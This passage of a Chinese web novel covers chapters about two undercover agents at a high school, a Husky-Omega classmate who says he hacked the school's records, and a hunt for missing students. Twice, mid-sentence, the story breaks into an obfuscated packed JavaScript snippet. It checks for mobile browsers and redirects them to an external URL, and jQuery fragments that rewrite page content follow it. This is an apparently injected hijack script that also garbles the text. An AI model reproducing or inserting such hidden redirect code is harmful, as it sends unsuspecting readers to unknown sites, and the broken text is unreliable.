韩征远抬起头,看着两个人在沙发上闹腾,叹了口气,但那口气里全是纵容。
窗外,月亮爬得更高了。
3. 天台上初识的哈士奇
第二天中午,谢燃在食堂里扒拉着一份卖相可疑的鱼香肉丝盖饭,目光隔着三张桌子,落在斜对角那个正在往嘴里塞小笼包的哈士奇身上。
陆大寻吃东西的样子和他这个人一样——恨不得全世界都知道他在吃饭。筷子夹着小笼包在醋碟里滚了三圈,然后整个塞进嘴里,腮帮子鼓得像仓鼠,嚼的时候还发出满足的哼哼声。
“他在看你。”纪砚坐在谢燃对面,背对陆大寻,声音低得只有两人能听见。
“不,他在看小笼包。”谢燃用筷子点了点自己的餐盘,“你没见过他那种眼神吗?那是饿死鬼投胎的眼神,跟任务没关系。”
纪砚没接话,低头喝了一口汤。
谢燃知道他心里在想什么——昨天的纸条、姜雅的档案断层、十五年前那个被刻意抹去的时间节点,这些东西像一根根看不见的线,把看似平静的校园生活织成了一张暗网。而陆大寻,这个第一天就识破他们身份的哈士奇Omega,正站在这张网的中间。
“下午放学,天台见。”纪砚说。
“你还真约他了?”
“嗯。”
“你不是说不加他微信吗?”
“谢燃。”
“好好好,我不说了。”谢燃举起双手表示投降,筷子差点飞出去,“纪大队长说什么就是什么,我闭嘴。”
纪砚看了他一眼,那眼神的意思大概是“你闭嘴的时候比不闭嘴的时候少”。
谢燃选择假装没读懂。
下午最后一节课是英语,老师在讲台上念课文,念得跟催眠曲似的。谢燃撑着下巴,目光飘向窗外,梧桐树的叶子被风吹得哗啦响,阳光碎成一片一片落在课桌上。他的手机在校服口袋里震了一下。
陆大寻发来的微信:
“谢哥谢哥谢哥!!!你们真的要找我谈话吗?是不是我太优秀了你们想吸纳我?我准备好了!随时可以入职!”
谢燃忍住笑,把手机屏幕朝下扣在桌面上,没回。
三十秒后,又震了一下。
“谢哥你怎么不回我?是不是纪哥不让你回?你偷偷回我一下呗,我不告诉他。”
谢燃看了一眼旁边正在认真记笔记的纪砚——那笔记记得,工整得能直接拿去当印刷体教材。他想了想,在桌子底下偷偷打了一行字:
“放学天台,别迟到。”
发完立刻把手机塞回口袋,动作快得像做贼。
纪砚头都没抬,但笔尖顿了一下:“你笑什么?”
“没笑。”
“你嘴角翘到太阳穴了。”
“那是风吹的。”
“教室里没风。”
“……纪砚,你真的很烦。”
纪砚没再说话,但谢燃注意到他在笔记本边缘画了一个小小的点,像是某种标记。谢燃凑过去看了一眼,发现那不是什么标记,是一个简笔画的小人,小人旁边写着两个字:傻子。
“你画的谁?”谢燃问。
纪砚把笔记本合上了。
放学铃响的时候,陆大寻是第一个冲出教室的。谢燃甚至没来得及看清他的动作,只感觉后脑勺一阵风刮过,那条毛茸茸的哈士奇尾巴在门口甩了一下,人就消失了。
“他跑那么快干嘛?”谢燃站起来伸了个懒腰。
“大概是怕你反悔。”纪砚收拾好书包,语气平淡。
两人慢悠悠地走向天台。楼梯间里没什么人,夕阳从窗户照进来,把台阶切成明暗相间的琴键。谢燃踩在光影交界的地方,影子被拉得老长。
“你说他会不会已经在那儿等着了?”
“会。”
“你怎么知道?”
“因为他是陆大寻。”
谢燃想了想,觉得这个回答虽然什么都没说,但又好像什么都说了。
天台的门还是那扇锈迹斑斑的铁门,谢燃推门的时候故意用了点力,门撞在墙上发出一声闷响。
陆大寻果然已经在天台上等着了。
但他不是一个人。
他面前摆着三杯奶茶,还多了一袋小笼包——显然是食堂打包的。他盘腿坐在水泥地上,手机搁在膝盖上,正低头打字。听见门响,他抬起头,眼睛一亮,露出一个能把人闪瞎的笑容。
“来了来了!我还带了小笼包!怕你们饿!”他拍拍旁边的地面,“坐坐坐,今天红豆奶茶卖完了,我就买了芋圆的,行吗?”
谢燃回头看了一眼纪砚。
纪砚依旧站在天台门口,背靠门框,双手插兜,表情淡得像秋天的天空。但他这次没站在出口正中间,而是往旁边让了半步——这个角度既能看清整个天台,又不会给人一种“我堵着门不让你跑”的压迫感。
谢燃走过去,在陆大寻对面蹲下,拿起芋圆奶茶晃了晃:“你怎么知道我们会来?”
“猜的。”陆大寻眨眨眼,浅色瞳孔里映着天光,“你们昨天收了我的文件夹,今天肯定要找我聊聊。以纪哥的性格,他不会拖到第三天。”
谢燃吸了一口奶茶,芋圆滑进嘴里,嚼了两下:“那你猜我们找你聊什么?”
“聊我。”陆大寻指了指自己的鼻子,“聊我怎么看出你们身份的,聊我还知道些什么,聊我能不能帮上忙,顺便警告我不要乱掺和,免得惹麻烦。”
他说完,打开小笼包的盒子,热腾腾的蒸汽冒出来,肉香味在空气中散开。他夹起一个小笼包在醋碟里滚了滚,整个塞进嘴里,腮帮子鼓起来,含混不清地说:“纪哥肯定是来问话的,谢哥你是来看热闹的,我说的对不对?”
谢燃转头看纪砚。
纪砚终于动了。他离开门框,走到陆大寻面前,居高临下地看着他。夕阳在他身后铺开,把他的影子拉得很长,罩在陆大寻身上。
“你为什么帮我们?”纪砚问。
声音不大,但每个字都像钉子扎进空气里。
陆大寻咽下小笼包,抬头看着纪砚,表情难得正经了几分。他没有躲闪纪砚的目光,也没有被那股无声的Alpha气场压住——他就那么坦坦荡荡地坐着,浅色的瞳孔亮得像两颗玻璃珠。
“因为这学校有人在消失。”他说,“上学期三个学生,突然就不来上学了。问老师就说转学了,但我查了学籍系统,没有转出记录。”
他顿了顿,声音压低了几分:“像人间蒸发了一样。”
天台上安静了几秒。风从远处吹来,把陆大寻的头发吹得乱糟糟的,他伸手拨了一下,没拨好,反而翘起来一撮,像个天线。
“你怎么查的学籍系统?”谢燃问。
“黑进去的。”陆大寻说这话的时候语气平淡得像在说“今天天气不错”,“和风四中的网络安全防护大概相当于十年前的水平,我花了不到二十分钟就进去了。”
谢燃又吸了一口奶茶,心想这孩子要不是智商148,就是胆子148。
“除了学籍系统,你还查了什么?”纪砚问。
“失踪学生的社交账号、通话记录、银行卡流水。”陆大寻掰着手指头数,“一个叫林小禾的女生,Omega,上学期第三周失踪。她的银行卡在失踪后第二天有笔消费,在一家便利店买了瓶水。但那家便利店的监控我调过,当天那个时间段去店里的顾客里没有她。”
“所以有人用了她的卡。”纪砚说。
“对。而且用卡的人很聪明,只用了这一次,之后就再也没动过。”陆大寻从口袋里掏出一个U盘,递给纪砚,“这里面有我整理的所有资料,包括那三个失踪学生的详细信息和时间线,还有我怀疑的几个人的行为模式分析。”
纪砚接过U盘,看了看,放进口袋。
“你为什么觉得我们会信你?”他问。
陆大寻歪头想了想,说:“因为你们是好人啊。”
谢燃差点被奶茶呛到:“你怎么知道我们是好人?”
“昨天你们在天台上,烧了纸条和奶茶杯。”陆大寻说,“坏人才不会这么小心地销毁痕迹呢。坏人巴不得留下点什么,好让人害怕。”
他又夹起一个小笼包,在醋碟里滚了滚,但没有急着塞进嘴里,而是举在半空中,若有所思地说:“而且你们看我的眼神不对。”
“哪里不对?”谢燃问。
“你们看我的时候,像是在看一个需要保护的人,而不是一个可以随便利用的工具。”陆大寻把小笼包塞进嘴里,嚼了两下,含混地说,“这种感觉,在这学校我是头一回遇到。”
谢燃没说话。
纪砚也没说话。
陆大寻把最后一个小笼包消灭掉,拍了拍手,忽然凑近了一点,压低声音:“对了,你们昨天有没有注意到一个人?”
“谁?”
“冥安。”陆大寻说出这个名字的时候,语气里带着一种少见的严肃,“昨天下午你们从教学楼出来的时候,他在三楼走廊看着你们。我注意他很久了,他从来不会无缘无故地观察一个人。”
纪砚的眉头微微动了一下。
“你对他了解多少?”他问。
“不算多,但也不算少。”陆大寻从口袋里掏出一张叠得整整齐齐的纸,展开,上面画了一张关系图,密密麻麻的箭头和标注,“冥安,蜘蛛Alpha,独居,信息素不稳定。他和校医姜雅有过接触,我见过两次他们在医务室里单独说话,门关着,窗帘拉着。另外,他和保安科的谭照也有联系,谭照每周三下午会去冥安家送东西,具体送什么我不知道。”
谢燃看着那张关系图,眉头皱了起来。这小子整理的信息量,比年绪的报告也没差多少,而且多了很多实地观察的细节。
“你跟踪他们?”纪砚问。
“不是跟踪,是观察。”陆大寻纠正道,“我智商148,记忆力比普通人好一点,他们出现在我视线范围内的时候,我自然就记住了。”
“你知不知道你这么做有多危险?”纪砚的声音冷了几分。
陆大寻愣了一下,然后笑了,笑得特别欠揍:“知道啊,但危险的事总得有人做嘛。你们不是也来了吗?”
纪砚盯着他看了两秒,那眼神里有一种说不清的东西——像是在评估,又像是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536115|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在判断什么。最后他转过身,走到天台边缘,双手撑在栏杆上,看着远处的操场。
“陆大寻。”他说。
“在!”
“从今天起,你观察到的东西直接告诉我们,不要自己去查。”
陆大寻眨眨眼:“这是要收编我的意思吗?”
“这是要你别死的意思。”纪砚头也没回。
陆大寻的尾巴在身后甩了一下,嘴角咧得更开了。他转头看谢燃,用口型说:他好傲娇。
谢燃忍住笑,也用口型回:你才发现?
“另外,”纪砚转过身,目光落在陆大寻身上,“那个U盘里的东西,我们会看。但你得答应我一件事。”
“什么事?”
“别掺和进来。该上课上课,该考试考试,别给自己找麻烦。”
陆大寻站起来,拍拍屁股上的灰,仰头看着比他高出半个头的纪砚,认真地点了点头:“行,我答应你。”
谢燃看着这一幕,总觉得哪里不太对。
一个第一天就识破特工身份、黑了学籍系统、跟踪嫌疑人、整理出完整情报的高中生,答应不掺和。
这话听着,怎么那么像放屁呢?
但他没说出口。因为纪砚的表情看起来很认真,陆大寻的表情看起来也很认真。两个认真的人之间,他一个不认真的插不上嘴。
“行了,”谢燃把最后一口奶茶喝完,空杯在手里转了个圈,“该说的都说完了,走吧,待会儿天黑了。”
陆大寻弯腰收拾奶茶杯和小笼包盒子,动作利索得像个专业的清洁工。他把所有垃圾塞进一个袋子里,打了个结,拎在手上。
“我送你们下楼?”
“不用。”纪砚说。
“那我先走了?”陆大寻指了指楼梯口,“拜拜谢哥,拜拜纪哥,明天见!”
他说完就跑了,脚步声在楼梯间里咚咚咚地响,像一只撒欢的哈士奇。
谢燃站在天台上,看着那扇还在晃动的铁门,沉默了几秒。
“你觉得他会听话吗?”他问。
“不会。”纪砚说。
“那你刚才说那些有什么用?”
“说了,以后他出事的时候,我不用后悔没说过。”
谢燃转过头,看着纪砚的侧脸。夕阳的余晖落在他脸上,把他的轮廓镀上一层暖橘色的光。他的表情依旧淡淡的,但谢燃看到了他眼底那一点不太明显的东西。
不是愤怒,不是担忧。
是某种更深处的、被压得很紧的情绪。
“你在想什么?”谢燃问。
纪砚沉默了很久,久到谢燃以为他不会回答了。
“我在想,”他终于开口,声音低得像自言自语,“十五年前,如果也有人跟他说‘别掺和’,他会不会听。”
谢燃知道他说的是谁。
他没接话,只是走过去,站在纪砚旁边,也把手撑在栏杆上。两个人并肩站着,看着远处的天空从橘红变成深紫,第一颗星星在天边亮起来。
“走吧。”纪砚说。
“走。”
他们下楼的时候,谢燃的手机震了一下。陆大寻发来的消息:
【谢哥,纪哥是不是生气了?他板着脸的样子好吓人,但他板着脸也好帅(这是能说的吗)】
谢燃笑着把手机递给纪砚看。
纪砚扫了一眼,面无表情地把手机推回去。
“你回他。”他说。
“回什么?”
“就说——”
纪砚顿了一下。
“就说,让他把作业写完。”
谢燃低头打字,笑得肩膀直抖。
楼梯间的声控灯一盏一盏亮起来,又一盏一盏灭下去。他们的脚步声在空旷的楼道里回响,不急不缓,像这个城市里无数个普通的傍晚一样。
但他们都清楚,这不普通。
明天还要上课,还要盯着冥安,还要查那三个失踪的学生,还要弄清楚那个叫姜雅的校医到底藏了什么秘密,还要找到那个代号“织网者”的人。
而在这一切之上,还有一道悬了十五年的阴影,从未散去。
谢燃把手机揣回口袋,加快两步走到纪砚身边,肩膀几乎要蹭到对方。
“纪砚。”
“嗯。”
“饺子好吃吗?”
“……你想说什么?”
“没什么,就是突然想吃火锅了。任务结束咱仨去搓一顿呗?你、我、韩队。”
纪砚看了他一眼。
“行。”他说。
谢燃笑了,笑得像个真正的十八岁少年——虽然他已经二十三了,虽然他的十八岁是在曙光学院的训练场上度过的,没有火锅,没有奶茶,没有任何一个普通高中生会有的东西。
但今天不一样。
今天有饺子,有奶茶,有韩队递过来的那根没抽成的烟,有一个智商148的哈士奇Omega说“你们是好人”。
今天挺好的,很“平常”
他想……(一直这样下去)
4. 秋日中的故事
和风四中的秋天来得不声不响。
先是操场边那排榕树的叶子开始发黄,不是一下子全黄,而是从叶尖开始,一点一点往叶柄处蔓延,像是有人拿着画笔,慢条斯理地给每一片叶子上色。然后是天上的云,夏天的云厚得像棉花山,秋天的云薄了,高了,一丝一丝地挂在天上,被风吹着走。
谢燃趴在教室窗台上,看着一片梧桐叶打着旋儿落下去,落在楼下经过的一个女生头上。那女生伸手拨了一下,叶子滑到肩膀上,她没在意,继续往前走,叶子就在她肩上颤颤巍巍地待着,像一枚金色的勋章。
“看什么呢?”纪砚的声音从身后传来。
“看秋天。”谢燃头也没回。
“秋天有什么好看的。”
“秋天的纪砚也很好看。”
“……”
谢燃感觉到后脑勺被一本书轻轻拍了一下。他转过头,笑得一脸灿烂:“我说真的。”
纪砚面无表情地把书放回他桌上,那是本数学练习册,翻到某一页,上面用铅笔圈了几道题:“下午要讲的,你做完了吗?”
谢燃低头看了一眼,那些数字和符号在他眼里跟外星文没区别。他把练习册合上,塞进桌斗里,理直气壮地说:“不会做。”
“那就学。”
“你教我啊。”
“我教了你三遍了。”
“三遍不够,得三百遍。”
纪砚看着他,那双黑眼睛里没什么情绪,但谢燃分明读出了一丝“我上辈子是不是欠你的”的无奈。纪砚坐回自己的位置,从书包里拿出草稿纸,在上面写了几行公式,推过来。
“今天教第四遍。再不会,你就去找老师。”
“找老师多没意思,纪老师教得好。”谢燃凑过去,胳膊肘撑在桌上,下巴搁在手臂上,眼睛亮晶晶地看着纪砚写解题步骤。他的尾巴在身后慢悠悠地晃着,不小心扫到纪砚的小腿,纪砚往旁边挪了半寸,他又跟过去半寸。
纪砚的笔尖顿了一下。
“谢燃。”
“嗯?”
“你的尾巴。”
“我的尾巴怎么了?毛茸茸的,多可爱。”
“它在骚扰我。”
“那是它自己的想法,跟我没关系。我管不住它。”
纪砚深吸了一口气,那口气吸得很深,像是在进行某种心理建设。他放下笔,转头看着谢燃,一字一顿地说:“你再这样,我不教了。”
谢燃立刻把尾巴夹到两腿之间,正襟危坐,表情严肃得像在开誓师大会:“教。纪老师请继续。我保证认真学习,天天向上,做一个对社会有用的人。”
纪砚看了他三秒,重新拿起笔。
窗外的梧桐叶又落了一片。
上午第二节是体育课。高二(6)班的男生被体育老师拉到操场上跑八百米,女生在旁边做仰卧起坐。谢燃站在起跑线上,做着夸张的热身运动,压腿的时候恨不得把腿压到头顶上,引来周围一阵哄笑。
“谢燃你是不是练过舞蹈啊?”一个男生喊道。
“那可不,我练过芭蕾。”谢燃一本正经地说,“天鹅湖,知道吧?我演天鹅。”
“你是演那个被猎人打下来的吧?”
“那是你没看过我跳舞,看过你就知道什么叫艺术。”
纪砚站在他旁边,安静得像一棵树。他没有做任何热身动作,只是把校服外套脱了搭在栏杆上,露出里面的黑色T恤。阳光落在他肩膀上,勾勒出线条分明的轮廓。几个女生的目光已经飘过来了,窃窃私语像夏夜的蚊子,嗡嗡嗡地响。
“纪砚好帅啊——”
“他脱外套的动作好苏!”
“你们看他手臂的线条——”
谢燃听到了,凑到纪砚耳边,压低声音:“听见没,人家说你帅。”
纪砚没理他。
“我也觉得你帅。”谢燃补了一句。
“跑你的步。”
“我说真的——”
哨声响了。
谢燃的话被吞没在起跑的人潮中。十几个人一起冲出去,脚步声砸在塑胶跑道上,发出沉闷的砰砰声。谢燃跑得不快不慢,保持在队伍中间,呼吸平稳,步频均匀。这是曙光学院教出来的跑步习惯——不要一开始就冲,保持体力,观察对手,最后再发力。
纪砚在他左前方两米处,跑得更轻松,几乎听不到他的脚步声。他的跑姿很漂亮,腰背挺直,摆臂幅度小但有力,每一步都踩在同一个节奏上。
第一圈,谢燃跟在他后面。
第二圈,谢燃还是跟在他后面。
第三圈,前面的人开始喘了,脚步乱了,速度掉下来了。谢燃开始加速,从人群中穿过去,一个一个地超。他超过纪砚的时候,侧头看了对方一眼,纪砚也正好看过来,两人的目光在空中碰了一下。
谢燃咧嘴笑了。
纪砚的嘴角微微动了一下。
最后一百米,谢燃第一个冲过终点线,弯着腰大口喘气,汗水顺着脸颊往下淌。他回头看了一眼,纪砚紧随其后,第二个到达,呼吸比谢燃稳得多,只是额角沁了一层薄汗。
“我赢了。”谢燃竖起一根手指。
“八百米而已。”纪砚接过旁边同学递来的水,拧开瓶盖,喝了一口。
“赢了就是赢了,别找借口。”
“我没找借口。”
“你就是找了。”
纪砚没再接话,把水瓶递给他。谢燃接过来,仰头灌了一大口,水从嘴角溢出来,顺着下巴滴在校服上。他喝完了,用袖子擦了擦嘴,把水瓶还给纪砚。
“谢了。”
“不用谢,那是我的水。”
“你的水就是我的水,咱俩谁跟谁。”
纪砚看了他一眼,那眼神的意思是“我不想跟你计较”。他把水瓶盖拧紧,放回栏杆上的外套口袋里。
体育课结束的时候,谢燃和纪砚走在最后面,前面是三五成群的同学,叽叽喳喳地聊着中午吃什么、下午考什么。谢燃的目光从他们身上扫过,在人群中找到了一个熟悉的身影。
陆大寻正在跟几个男生打篮球。他跑起来的样子跟他的动物属性简直一模一样——哈士奇,又疯又傻,满场乱窜,接到球就往篮筐里扔,扔不进就追着球跑,跑得比谁都快。他的尾巴在身后甩来甩去,像一面白色的旗。
“他体力真好。”谢燃说。
“嗯。”
“你看他那投篮姿势,标准的初学者,手肘外翻,手腕没力。”谢燃评价道。
“你观察得倒仔细。”
“职业病。”谢燃笑了笑,目光从陆大寻身上移开,落到篮球场边上的一个人身上。
那人坐在看台最高处,一条腿曲起,另一条腿伸直,手里拿着一本书,看起来像是在看书,但谢燃注意到他的目光不在书上,而是在球场上。
冥安。
蜘蛛Alpha,信息素不稳定,疑似使用抑制剂,陆大寻观察清单上的四星嫌疑人。
谢燃的脚步慢了下来。纪砚也注意到了,步子微调,走到谢燃身侧,挡住他从冥安方向投来的视线。
“别看。”纪砚低声说。
“没看。”
“你看了三秒。”
“你又知道了?”
“你每次说谎的时候,右耳会动。”
谢燃下意识地摸了摸自己的右耳,然后意识到自己上当了。纪砚已经从他身边走过去,背影笔直,步子不紧不慢。
“纪砚你学坏了。”谢燃追上去。
“跟你学的。”
“我那是天赋,你学不来。”
“那就别学。”
两人走出操场的时候,谢燃用余光扫了一眼看台。冥安还坐在那里,书翻到了新的一页,但他的头微微偏了一下,方向正对着他们离开的背影。
谢燃把这件事记在了心里。
中午吃饭的时候,食堂里人山人海,空气里混着红烧肉、番茄炒蛋和廉价香精的味道。谢燃端着餐盘在人海中穿行,像一条逆流而上的鱼,尾巴在身后高高翘起,以免被人踩到。
纪砚跟在他身后,端着两个餐盘——他自己的和谢燃的,因为谢燃拿了餐盘之后又跑去加了一个鸡腿,回来的时候发现自己的餐盘不见了,转头一看,在纪砚手里。
“你什么时候拿走的?”谢燃问。
“你去加鸡腿的时候。”
“你怎么知道我去加鸡腿?”
“因为你是谢燃。”
这个回答让谢燃莫名地开心了一下。他从纪砚手里接过自己的餐盘,找了一个靠窗的位置坐下。阳光从窗户照进来,落在桌面上,把餐盘里的菜照得油光锃亮。
“今天的鸡腿不错。”谢燃咬了一口,含混地说。
“嗯。”
“你尝尝,真的不错。”
纪砚夹了一块自己盘里的西兰花,没接话。
谢燃吃了几口,忽然压低声音:“中午了,食堂人多,信息素杂。冥安如果也在食堂,这是个观察的好机会。”
纪砚的筷子顿了一下,然后继续夹菜,动作没有任何异样:“他在。十一点钟方向,靠墙第三桌,一个人。”
谢燃没有抬头去看,而是用余光扫了一下。冥安坐在那个位置,面前摆着一碗面,正在用筷子挑着吃,动作很慢,像是在想什么事情。他的表情很平淡,看不出什么情绪,但谢燃注意到他吃面的方式——每一口都从同一个位置挑起,筷子夹面的角度每次都一样,像是被程序设定好的。
“他有强迫症?”谢燃小声问。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536116|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不一定。”纪砚说,“也可能是训练的结果。”
“训练?”
“有些战斗训练会培养固定的行为模式,以减少决策时间。”纪砚夹了一块红烧肉,放进嘴里,嚼了两下,“吃饭的方式、走路的步幅、转身的方向,都可以被标准化。”
谢燃沉默了几秒,筷子在米饭里戳了戳:“你是说,他可能受过某种训练?”
“只是猜测。”
但谢燃知道,纪砚的猜测从来不是空穴来风。他的A2痕迹追踪技能让他对人行为模式的敏感度远超常人,他说“可能”,在别人那里就是“大概率”。
“还有一件事。”纪砚放下筷子,喝了口汤,声音低得几乎只有气流,“校医室那边,我今天上午去交体检表的时候,闻到了姜雅的信息素。”
“什么味道?”
“蛇Omega,冷血动物的信息素,偏凉,但里面混了别的东西。”纪砚的眉头微微皱了一下,“像是某种药物的残留。”
“什么药?”
“不确定,但年绪的报告中提到过,熔炉当年给实验体注射的强化剂中,有一种会改变信息素的化学成分,产生类似的残留特征。”
谢燃的筷子停在半空中。
“你是说——”他开口,声音压到最低。
“我是说,姜雅的档案断层在十五年前,而十五年前恰好是熔炉被捣毁的时间。”纪砚的目光落在餐盘边缘,没有看谢燃,“巧合太多了,就不是巧合了。”
食堂里的嘈杂声像一堵墙,把他们包裹在中间。没有人注意到靠窗的这两个转校生正在低声讨论着什么,也没有人注意到他们之间的空气比周围凝重了几分。
谢燃把最后一口米饭扒进嘴里,嚼了嚼,咽下去。
“晚上我给年绪发消息,让她再查查姜雅十五年前的行踪。”他说。
“嗯。”
“还有那个陆大寻,你今天放学还约他吗?”
“不约。”纪砚说,“但他会自己来找我们。”
谢燃想了想,觉得这话也没毛病。
下午第一节课是化学,老师在讲台上做实验,烧杯里的液体从透明变成蓝色,又从蓝色变成紫色,引得前排的同学发出一阵惊叹。谢燃坐在后排,百无聊赖地转着笔,笔在手指间翻飞,转了几十圈都没掉,这是他唯一能在课堂上拿得出手的技能。
纪砚在认真记笔记,笔尖在纸上沙沙地响,像秋天的雨打在树叶上。
谢燃看了他一眼,又看了看窗外。
操场边的梧桐树又落了几片叶子,在风中打着旋,慢悠悠地飘到地上。一个清洁工拿着扫帚在扫落叶,扫成一堆,又被风吹散,他叹了口气,重新扫。
“纪砚。”谢燃忽然小声叫他。
“嗯。”
“你说,我们要是普通高中生多好。”
纪砚的笔停了一下。
“不好。”他说。
“为什么?”
“因为普通高中生要高考。”
谢燃愣了一下,然后笑了,笑得趴在桌上,肩膀一抖一抖的。前排的同学回头看了他一眼,眼神里写满了“这人有病”。纪砚面无表情地继续记笔记,但谢燃注意到他的笔尖在纸上多停留了零点几秒,留下一个小小的墨点。
下课铃响的时候,谢燃的手机震了一下。
陆大寻发来的消息:
“谢哥谢哥!!!我今天又观察到了新东西!!!放学你们别走!!!我找你们!!!”
谢燃把手机递给纪砚看。
纪砚看了一眼,把手机推回去,声音淡淡的:“我说什么来着。”
“你是预言家,行了吧。”谢燃打字回复陆大寻,一边打字一边笑,“他这精力,不去当特工真是屈才了。”
“别乌鸦嘴。”
“我说真的,智商148,观察力强,记忆力好,胆子大,脸皮厚——”谢燃掰着手指头数,“这不就是天生的特工料子吗?”
纪砚收拾书包的动作顿了一下,抬头看了谢燃一眼。
那一眼里有一种谢燃读不懂的东西。
“怎么了?”谢燃问。
“没什么。”纪砚拉上书包拉链,“走吧,去找你的小跟班。”
“什么叫我的小跟班?他是你的,他管你叫纪哥,管我叫谢哥,咱俩平级。”
“他给你发消息比给我多。”
“那是因为你高冷,人家不敢找你。”
纪砚没再说话,背起书包往外走。谢燃跟在后面,经过走廊的时候,又看了一眼三楼的窗户。
冥安不在那里。
但他总觉得有什么东西,正在暗处看着他们。
窗外的榕叶还在落,一片接一片,像时间在倒计时。
谢燃加快了脚步。
5. 老榕树
和风四中操场边那排榕树,是这所学校最老的东西。
没人说得清它们是什么时候种下的,连看门的老头都只记得自己四十年前来这里上班时,它们就已经这么大了。树干粗得两个人都合抱不过来,树皮皴裂,沟壑纵横,像老人脸上的皱纹。气根从枝干上垂下来,一根一根扎进土里,又长出新的树干,一棵树便成了一小片林子。阳光从叶缝里漏下来,在地上碎成无数光斑,风一吹,光斑就晃,像一地的碎金子,又像无数只眼睛在眨。
谢燃靠在其中一棵榕树的树干上,等着放学。
他选了这棵树是有原因的——树干够粗,能挡住他半个身子;视野够好,能看见教学楼后门和校医室的窗户;位置够偏,不容易被路过的人注意到。这些都是曙光学院教的东西,教官管这叫“观察点的三要素”,谢燃管这叫“找棵树靠着偷懒的正当理由”。他把书包搁在脚边,双手插兜,脊背贴着粗糙的树皮,姿势的松弛感就是一只晒太阳的小狐狸。
但眼睛没闲着。
榕树的气根在他头顶晃悠,有几根垂得太低,蹭到他的头发,痒痒的。他伸手拨开,指尖碰到那些褐色的细根,粗糙的质感让他想起小时候在曙光学院训练场边上的那棵老槐树。
那时候他大概七八岁,每天训练完就爬到树上坐着,看远处的城市亮起灯来,一盏一盏,像天上的星星掉在了地上。曙光学院建在山脚下,训练场在最高处,视野最好。他每次训练结束都浑身是伤,膝盖青一块紫一块,手掌磨出血泡,但爬到树上的时候,那些疼就都不重要了。他就那么坐着,两条腿晃来晃去,看着城市的方向,想象着那些亮光下面是什么样的生活。
纪砚从来不爬树。
他就站在树下等着,手里拿着两人的水壶,仰着头,脸上没什么表情,但眼睛里有一点不耐烦。谢燃知道那不是真的不耐烦——如果是真的,纪砚早走了。纪砚这个人,从来不在不值得的事情上浪费一秒钟。
“下来,该吃饭了。”纪砚说。
谢燃每次都回他“再待五分钟”。
五分钟又五分钟,直到天完全黑下来,远处的灯光汇成一片模糊的光海,他才从树上滑下来,拍拍屁股上的灰,接过水壶喝一大口,然后跟纪砚一起走回宿舍。那时候他们走在曙光学院的石子路上,周围很安静,只有风吹树叶的声音和远处偶尔传来的口令声。纪砚走在他左边,步子不大不小,刚好跟他同步。
那时候他们还不知道什么叫任务,什么叫卧底,什么叫十五年前的熔炉。
那时候他们只是两个虽然有名字但只用编号,在一个叫曙光学院的地方,学着怎么活下去。
“谢哥!”
一声大喊把他的思绪拽回来。
陆大寻从教学楼后门冲出来,书包带子只挂了一边肩膀,跑起来书包在身后甩来甩去,像一只被拴在尾巴上的风筝。他今天穿了一件白色的短袖,领口大得能看到锁骨,头发被风吹得乱七八糟,整个人像刚从一场风暴里冲出来。他跑到榕树下,弯着腰喘了两口气,然后抬头,浅色的瞳孔亮晶晶的,像两颗被水洗过的玻璃珠。
“你怎么在这儿?我找了你好久!”
“在思考人生。”谢燃一本正经地说,脸上的表情严肃得像在开学术会议。
“那你思考出什么了?”
“思考出人生苦短,得及时行乐。所以待会去吃啥?”
陆大寻愣了一下,然后笑了,笑得露出两颗小虎牙,眼睛弯成两道月牙:“谢哥你真的好不正经。”
“这是艺术,你不懂。”谢燃伸手弹了一下他的脑门,力道很轻,“纪砚呢?”
“教室里呢,他说‘让他先走,我收完东西就来’。”陆大寻学着纪砚的语气,板着脸,声音压得又低又平,眉毛微微往下压,学得还真有几分神似。但他坚持了不到两秒就破功了,自己先笑了起来,“谢哥你评评理,他收个书包要五分钟,我收书包只要三十秒,这效率差距太大了。”
“他那是仪式感。”
“什么仪式感?”
“就是——”谢燃想了想,认真地组织了一下语言,“算了,我也解释不了。他就是有病。”
陆大寻嘿嘿一笑,一屁股坐到榕树根上,把书包卸下来放在腿边。榕树根从土里拱出来,盘根错节,形成一个天然的小凳子。他仰头看着头顶的榕树冠,阳光从叶缝里漏下来,落在他脸上,光斑随着风晃动,明明暗暗的,像有人在用一面小镜子反复照他。
“这棵树好大。”他说。
“嗯。”
“你说它在这儿站了多少年了?”
“不知道。可能比你爷爷年纪都大。”
“我爷爷?”陆大寻歪头想了想,眉头微微皱起来,好像在努力回忆什么,“我没见过我爷爷。我妈说我爷爷很早就没了,连照片都没留下。”
谢燃没接话,靠在树干上,目光落在校医室的那扇窗户上。窗帘拉着,看不见里面,但他闻到了一股淡淡的凉意——蛇Omega的信息素,冷冰冰的,像冬天里被遗忘在角落的蛇皮,又像深秋清晨草叶上的霜。那股味道很淡,淡到普通人根本闻不出来,但谢燃的鼻子比普通人灵敏得多。
姜雅在里面。
“对了,”陆大寻忽然压低声音,凑近了一点,浅色的瞳孔里映出谢燃的脸,“我今天又看到冥安了。”
谢燃的目光从校医室窗户上收回来,落到陆大寻脸上。他没有表现出惊讶,也没有追问,只是微微抬了一下下巴,示意陆大寻继续说。
